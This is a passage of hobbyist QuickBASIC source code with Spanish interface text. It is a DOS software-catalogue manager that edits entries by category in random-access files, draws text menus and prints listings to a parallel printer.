Vld$, 4 AS IoMxRcrd$ + + GET #1, 1 + + +IF Valid$ = "*" THEN + + MaxRecord = VAL(IoMaxRecord$) + c = 1: Inicio = 0: Fin = 0: ves = 0 + + DO + GET #1, c + 1 + IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 + END IF + c = c + 1 + LOOP WHILE c <= MaxRecord + + Fin = Fin + Inicio + + +IF Inicio <> 0 THEN + IF lineaimpresas >= 50 THEN GOSUB paradeimprimir + OPEN "lpt1:" FOR OUTPUT AS #3 + PRINT #3, CHR$(13) + SELECT CASE ittem% + CASE 1: PRINT #3, CHR$(27); "!"; CHR$(32); " Juegos " + CASE 2: PRINT #3, CHR$(27); "!"; CHR$(32); " M£sica " + CASE 3: PRINT #3, CHR$(27); "!"; CHR$(32); " Procesadores de textos " + CASE 4: PRINT #3, CHR$(27); "!"; CHR$(32); " Pgr. Contabilidad " + CASE 5: PRINT #3, CHR$(27); "!"; CHR$(32); " Pgr. Electronica " + CASE 6: PRINT #3, CHR$(27); "!"; CHR$(32); " Gr ficos " + CASE 7: PRINT #3, CHR$(27); "!"; CHR$(32); " Utilidades " + CASE 8: PRINT #3, CHR$(27); "!"; CHR$(32); " Lenguajes " + CASE 9: PRINT #3, CHR$(27); "!"; CHR$(32); " Windows " + CASE 10: PRINT #3, CHR$(27); "!"; CHR$(32); " Otros... " + CASE ELSE + END SELECT + PRINT #3, CHR$(27); "!"; CHR$(1); + CLOSE #3 + lineaimpresas = lineaimpresas + 1 + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 0 + + + DO + CurrRow = CurrRow + 1 + CurrRecord = CurrTopLine + CurrRow - 1 + + IF CurrRecord <= Fin THEN + + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + + IF CurrString$(1) = "1" AND Columnas = 1 THEN + c = 0: P = 0 + + DO + IF lineaimpresas = 55 THEN GOSUB paradeimprimir + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + + END IF + GOSUB SeleccionaColumna + + ELSE + EXIT DO + END IF + + LOOP + + + END IF +END IF +CLOSE + +ittem% = ittem% + 1 +LOOP WHILE ittem% <= 10 AND TipodeImpresion% = 0 + + +END IF +CLOSE +LPRINT +OPEN "Mensaje.Cat" FOR RANDOM AS #1 LEN = 201 + + FIELD #1, 40 AS IoLine1$, 40 AS IoLine2$, 40 AS IoLine3$, 40 AS IoLine4$, 40 AS IoLine5$ + FIELD #1, 1 AS Valid$ + + OPEN "lpt1:" FOR OUTPUT AS #3 + PRINT #3, CHR$(27); "!"; CHR$(32); + GET #1, 1 + IF Valid$ = "*" THEN + GET #1, 2 + LPRINT IoLine1$ + LPRINT IoLine2$ + LPRINT IoLine3$ + LPRINT IoLine4$ + LPRINT IoLine5$ + END IF + CLOSE + +EXIT SUB + + + +paradeimprimir: + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN: La impresora esta apunto de quedarse sin papel." + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Ponga papel, y pulse una tecla para continuar. " + COLOR colors(7, ColorPref), colors(4, ColorPref) + SLEEP +ON ERROR GOTO ERRORTRAP ' test if printer is connected +LPRINT +IF PrintErr = FALSE THEN +lineaimpresas = 1 +RETURN +ELSE +EXIT SUB +END IF + +EscogeFichero: + + SELECT CASE ittem% + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + + CASE ELSE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un error que no hab¡a previsto. E.C.1" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + SYSTEM + END SELECT + IF ittem% <> 10 THEN TempClase$ = STR$(ittem%) ELSE TempClase$ = "0" +RETURN + + +SeleccionaColumna: + SELECT CASE Columnas + CASE 1 + IF CurrString$(1) = "1" THEN + LPRINT + LPRINT CurrString$(3); " "; CurrString$(2); " "; Men$(1) + LPRINT TAB(25); Men$(2) + LPRINT TAB(25); Men$(3) + LPRINT TAB(25); Men$(4) + lineaimpresas = lineaimpresas + 5 + PosicionImpresa = 1 + + ELSE + SELECT CASE PosicionImpresa + CASE 1: LPRINT CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 2 + CASE 2: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 3 + CASE 3: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2): PosicionImpresa = 1 + + CASE ELSE + END SELECT + lineaimpresas = lineaimpresas + 1 + END IF + + CASE 2 + SELECT CASE PosicionImpresa + CASE 1: LPRINT CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 2 + CASE 2: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 3 + CASE 3: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2): PosicionImpresa = 1 + + CASE ELSE + END SELECT + lineaimpresas = lineaimpresas + 1 + CASE ELSE + END SELECT +RETURN + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + +END SUB + +'LoadState: +' Load color preferences and account info from MONEY.DAT +SUB LoadState + DEFINT A-Z + OPEN "Catalogo.CFG" FOR INPUT AS #1 + INPUT #1, ColorPref + INPUT #1, Poseedor$ + INPUT #1, Password$ + CLOSE + Password# = VAL(RIGHT$(Password$, LEN(Password$) - 1)) / VAL(LEFT$(Password$, 1)) / 7 + +END SUB + +SUB MasMenosProg + + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + +EscogeSeccion +Vld$ = "" +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS Vld$, 4 AS IoMxRcrd$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET IoClase$ = "þ" + LSET IoCod$ = "" + LSET IoDesc$ = "" + LSET IoPos$ = "" + PUT #1, 2 + LSET Valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + GET #2, 1 + IF Vld$ <> "*" THEN + LSET IoMenI$ = "" + LSET IoMenII$ = "" + LSET IoMenIII$ = "" + LSET IoMenIV$ = "" + PUT #2, 2 + LSET Vld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + END IF + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + MaxRecord = VAL(IoMaxRecord$) + +c = 1: Inicio = 0: Fin = 0 +DO +GET #1, c + 1 +IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 +END IF +c = c + 1 +LOOP WHILE c <= MaxRecord +Fin = Fin + Inicio +IF Inicio = 0 THEN + CurrTopLine = MaxRecord + 1 + GOSUB EditTransAddRecord + Inicio = MaxRecord + Fin = MaxRecord +END IF + + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + col(1) = 36 'La constante para la segunda columna es 21 + col(2) = 52 + + Vis(1) = 15 + Vis(2) = 3 + + Max(1) = 15 + Max(2) = 3 + + 'Draw Screen + + u$ = "\ \ \ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßß ßßß" + u2$ = "###" + + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + GOSUB EditTransPrintWholeScreen + + PrintHelpLine Help$(CurrCol) + "| " + + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EditTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 2 + PrintHelpLine Help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = CurrCol + 1 + IF CurrCol = 3 THEN CurrCol = 1 + PrintHelpLine Help$(CurrCol) + "| " + + CASE CHR$(0) + "=" 'F3 + hide = 0: GOSUB EditTransShowCursor 'Show Cursor, Wait for key + TempCurrString$ = CurrString$(1) + CurrString$(1) = "1" + GOSUB PideComentario + GOSUB EditTransPutLine + CurrString$ = "1" + OldCurrString$ = "1" + PrintHelpLine Help$(CurrCol) + "| " + + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 2 + CASE CHR$(0) + "I" 'Page Up + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < Inicio THEN + CurrTopLine = Inicio + END IF + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + CASE CHR$(0) + "Q" 'Page Down + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > Fin THEN + CurrTopLine = Fin + END IF + + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + OldCurrString$ = "1" + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + OldCurrString$ = "1" + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(CurrCol) ELSE LOCATE CurrRowFalse + 9, col(CurrCol) + 21 + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(3), 15); + CASE 2 + IF VAL(CurrString$(2)) <> 0 THEN + PRINT USING u2$; VAL(CurrString$(2)); + ELSE + PRINT " "; + END IF + END SELECT + RETURN + +EditTransEditItem: + + CurrRecord = CurrTopLine + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF PosCol = 1 THEN CrrRw = CurrRow: f(1) = col(1): f(2) = col(2) ELSE CrrRw = CurrRowFalse - 1: f(1) = col(1) + 21: f(2) = col(2) + 21 + SELECT CASE CurrCol + + CASE 1 + IF RTRIM$(LTRIM$(CurrString$(3))) <> "" THEN Start$ = CurrString$(3) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrrRw + 10, f(1), Start$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(3) = new$ + GOSUB EditTransPutLine + GOSUB EditTransGetLine + CASE 2 + Start$ = kbd$ + DO + kbd$ = GetString$(CrrRw + 10, f(2), Start$, new$, Vis(2), Max(2)) + new2# = VAL(new$) + Start$ = "" + LOOP WHILE new2# >= 999# OR new4# < 0 + CurrString$(2) = new$ + GOSUB EditTransPutLine + GOSUB EditTransGetLine + CASE ELSE + END SELECT + GOSUB EditTransPrintLine + RETURN + +EditTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EditTransGetLine + END IF + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EditTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= Fin OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EditTransGetLine + END IF + END IF + + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EditTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = Fin + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > Fin THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(3))) = "" THEN PRINT " "; ELSE PRINT CurrString$(3) + " "; + IF VAL(CurrString$(2)) = 0 THEN PRINT " "; ELSE PRINT USING u2$; VAL(CurrString$(2)); + IF Permiso <> 1 THEN + IF CurrString$(1) = "1" THEN + LOCATE 4, 36: IF RTRIM$(LTRIM$(Men$(1))) <> "" THEN PRINT Men$(1); ELSE PRINT SPC(40); + LOCATE 5, 36: PRINT SPC(40); + LOCATE 5, 36: IF RTRIM$(LTRIM$(Men$(2))) <> "" THEN PRINT Men$(2); ELSE PRINT SPC(40); + LOCATE 6, 36: IF RTRIM$(LTRIM$(Men$(3))) <> "" THEN PRINT Men$(3); ELSE PRINT SPC(40); + LOCATE 7, 36: IF RTRIM$(LTRIM$(Men$(4))) <> "" THEN PRINT Men$(4); ELSE PRINT SPC(40); + ELSE + LOCATE 4, 36: PRINT SPC(40); + LOCATE 5, 36: PRINT " Sin Comentarios "; + LOCATE 6, 36: PRINT SPC(40); + LOCATE 7, 36: PRINT SPC(40); + END IF + END IF + END IF + + RETURN + + +EditTransDeleteRecord: + IF Fin = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + Fin = Fin - 1 + MaxRecord = MaxRecord - 1 +IF CurrString$(1) = "1" THEN + c = 0: P = 0 + GET #2, 1 + Tam = VAL(IoMxRcrd$) + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + + WHILE P <= Tam - 1 + GET #2, P + 2 + PUT #2, P + 1 + P = P + 1 + WEND + EXIT DO +END IF + LOOP WHILE c <= MaxRecord + LSET Vld$ = "*" + LSET IoMxRcrd$ = STR$(Tam - 1) + PUT #2, 1 + END IF + + a = CurrRecord + + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + a = a + 1 + WEND + + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + TempRowFalse = CurrRowFalse: TempCurrRow = CurrRow + TempPosCol = PosCol + GOSUB EditTransPrintWholeScreen + PosCol = TempPosCol: CurrRowFalse = TempRowFalse + CurrRow = TempCurrRow + CurrRecord = CurrTopLine + CurrRow - 1 + + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + GOSUB EditTransGetLine + CurrString$ = "1" + OldCurrString$ = "1" + GOSUB EditTransPrintLine + END IF + RETURN + +EditTransAddRecord: + CurrRecord = CurrTopLine + CurrRow - 1 + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 2 + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + Fin = Fin + 1 + LSET IoClase$ = RTRIM$(LTRIM$(TempClase$)) + LSET IoCod$ = "" + LSET IoPos$ = "" + LSET IoDesc$ = "" + PUT #1, CurrRecord + 2 + + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + TempRow = CurrRow + TempPosCol = PosCol: TempRowFalse = CurrRowFalse + GOSUB EditTransPrintWholeScreen + PosCol = TempPosCol: CurrRowFalse = TempRowFalse + CurrRow = TempRow + GOSUB EditTransGetLine + RETURN + +EditTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= Fin THEN + GOSUB EditTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EditTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + +EditTransPutLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Dezplazamiento = 0 + IF IoCod$ <> CurrString$(1) THEN + Dezplazamiento = 1 + GET #2, 1 + IOMR$ = IoMxRcrd$ + IOMR = VAL(IOMR$) + LSET Vld$ = "*" + LSET IoMxRcrd$ = STR$(VAL(IOMR$) + 1) + PUT #2, 1 + + END IF + + LSET IoClase$ = RTRIM$(LTRIM$(TempClase$)) + LSET IoCod$ = CurrString$(1) + LSET IoDesc$ = CurrString$(3) + LSET IoPos$ = CurrString$(2) + PUT #1, CurrRecord + 1 + + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + + IF Dezplazamiento = 1 THEN + a = IOMR + WHILE a > P - 1 + GET #2, a + 1 + PUT #2, a + 2 + a = a - 1 + WEND + END IF + LSET IoMenI$ = Men$(1) + LSET IoMenII$ = Men$(2) + LSET IoMenIII$ = Men$(3) + LSET IoMenIV$ = Men$(4) + PUT #2, P + 1 + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + + RETURN + +EditTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + RETURN + +PideComentario: + + IF TempCurrString$ <> "1" THEN FOR yitu = 1 TO 4: Men$(yitu) = "": NEXT + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 5, 36: PRINT Men$(CrRw); SPC(40 - LEN(Men$(CrRw))); + CrRw = 1 + PrintHelpLine "Comentario | " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB EdditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB EdditTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF RTRIM$(LTRIM$(Men$(CrRw))) <> "" THEN Start$ = Men$(CrRw) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrRw + 3, 36, Start$, new$, 40, 40) + Men$(CrRw) = new$ + hide = 1: GOSUB EdditTransShowCursor 'Show Cursor, Wait for key + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + CrRw = CrRw - 1 + IF CrRw <= 0 THEN CrRw = 4 + CASE CHR$(0) + "P" 'Down arrow + CrRw = CrRw + 1 + IF CrRw >= 5 THEN CrRw = 1 + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + RETURN + +EdditTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CrRw + 3, 36: PRINT Men$(CrRw); SPC(40 - LEN(Men$(CrRw))); + RETURN + + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), Help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF BorraPantalla <> 1 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(219); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 1 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 223); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT Choice$(a); + NEXT a + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + + finished = FALSE + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = TRUE + RETURN + +MenuEscape: + currChoice = 0 + finished = TRUE + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + IF AnulTecl = 0 THEN + currChoice = -2 + finished = TRUE + END IF + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + IF AnulTecl = 0 THEN + currChoice = -3 + finished = TRUE + END IF + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = TRUE + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine Help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + DIM Choice$(20), menuRow(20), menuCol(20), Help$(20) + LOCATE , , 0 + Choice = 1 + finished = FALSE + + WHILE NOT finished + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemColors + CASE 5: GOSUB MenuSystemCreditos + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 5 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + Center 11, "Use las teclas de direcci¢n para el men£" + Center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Programas " + Choice$(3) = " Utilidades " + Choice$(4) = " Colores " + Choice$(5) = " Cr‚ditos " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 11 + menuRow(3) = 1: menuCol(3) = 22 + menuRow(4) = 1: menuCol(4) = 34 + menuRow(5) = 1: menuCol(5) = 67 + + Help$(1) = "Salir del Cat logo" + Help$(2) = "Editar programas" + Help$(3) = "Imprimir/agregar/supr programas, pedidos..." + Help$(4) = "Fijar color en pantalla" + Help$(5) = "Cr‚ditos" + + DO + NewChoice = Menu((Choice), 5, Choice$(), menuRow(), menuCol(), Help$(), TRUE) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + Choice$(1) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + + Help$(1) = "Salir del Administrador" + + SubChoice = Menu(1, 1, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1: finished = TRUE + CASE ELSE + END SELECT + RETURN + + +MenuSystemEdit: + Choice$(1) = " Juegos " + Choice$(2) = " M£sica " + Choice$(3) = " Procesadores de textos " + Choice$(4) = " Pgr. Contabilidad " + Choice$(5) = " Pgr. Electronica " + Choice$(6) = " Gr ficos " + Choice$(7) = " Utilidades " + Choice$(8) = " Lenguajes " + Choice$(9) = " Windows " + Choice$(10) = " Otros... " + + FOR T = 1 TO 10 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 3: menuCol(1) = 8 + menuRow(2) = 4: menuCol(2) = 8 + menuRow(3) = 5: menuCol(3) = 8 + menuRow(4) = 6: menuCol(4) = 8 + menuRow(5) = 7: menuCol(5) = 8 + menuRow(6) = 8: menuCol(6) = 8 + menuRow(7) = 9: menuCol(7) = 8 + menuRow(8) = 10: menuCol(8) = 8 + menuRow(9) = 11: menuCol(9) = 8 + menuRow(10) = 12: menuCol(10) = 8 + + + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + IF be = 1 THEN RETURN + SELECT CASE SubChoice + CASE 1 TO 10 + EditarProgramas (SubChoice) + CASE ELSE + END SELECT + RETURN + + +MenuSystemAccount: + +DO + + vwe = 0 + + Choice$(1) = " " + CHR$(34) + " Pedidos " + CHR$(34) + " " + Choice$(2) = " Impresi¢n individual" + Choice$(3) = " Impresi¢n completa " + Choice$(4) = " Men£ principal " + + FOR T = 1 TO 4 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 3: menuCol(1) = 